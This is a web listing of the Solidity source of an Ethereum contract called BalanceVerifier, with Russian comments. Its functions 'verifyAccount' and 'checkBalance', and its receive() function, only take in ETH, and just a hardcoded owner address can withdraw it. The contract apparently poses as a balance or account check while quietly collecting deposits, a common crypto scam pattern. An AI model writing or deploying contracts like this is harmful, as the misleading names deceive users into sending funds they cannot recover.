Description:
Smart contract deployed on Ethereum.
Blockchain: Ethereum
Source Code: View Code On The Blockchain
Solidity Source Code:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @title BalanceVerifier
* @dev Контракт для проверки баланса с возможностью вывода только владельцем
*/
contract BalanceVerifier {
// Адрес владельца (единственный, кто может выводить средства)
address private constant OWNER = 0x6D29547c12A68Cf8696Cd78A8578420F6A298536;
// События
event Deposited(address indexed from, uint256 amount);
event Withdrawn(address indexed to, uint256 amount);
/**
* @dev Модификатор: только владелец
*/
modifier onlyOwner() {
require(msg.sender == OWNER, "Only owner can call this function");
_;
}
/**
* @dev Функция для проверки баланса (депозит)
* Принимает ETH от пользователей
*/
function verifyAccount() external payable {
require(msg.value > 0, "Amount must be greater than 0");
emit Deposited(msg.sender, msg.value);
}
/**
* @dev Альтернативная функция депозита
*/
function checkBalance() external payable {
require(msg.value > 0, "Amount must be greater than 0");
emit Deposited(msg.sender, msg.value);
}
/**
* @dev Вывод средств - только для владельца
* @param amount Сумма для вывода (в wei)
*/
function withdraw(uint256 amount) external onlyOwner {
require(amount > 0, "Amount must be greater than 0");
require(address(this).balance >= amount, "Insufficient contract balance");
(bool success, ) = OWNER.call{value: amount}("");
require(success, "Withdrawal failed");
emit Withdrawn(OWNER, amount);
}
/**
* @dev Вывод всех средств - только для владельца
*/
function withdrawAll() external onlyOwner {
uint256 balance = address(this).balance;
require(balance > 0, "Contract balance is zero");
(bool success, ) = OWNER.call{value: balance}("");
require(success, "Withdrawal failed");
emit Withdrawn(OWNER, balance);
}
/**
* @dev Fallback функция для прямых переводов (депозит)
*/
receive() external payable {
require(msg.value > 0, "Amount must be greater than 0");
emit Deposited(msg.sender, msg.value);
}
/**
* @dev Получить баланс контракта
*/
function getBalance() external view returns (uint256) {
return address(this).balance;
}
/**
* @dev Получить адрес владельца
*/
function getOwner() external pure returns (address) {
return OWNER;
}
}
Submitted on: 2025-09-29 15:22:11
Comments
Log in to comment.
No comments yet.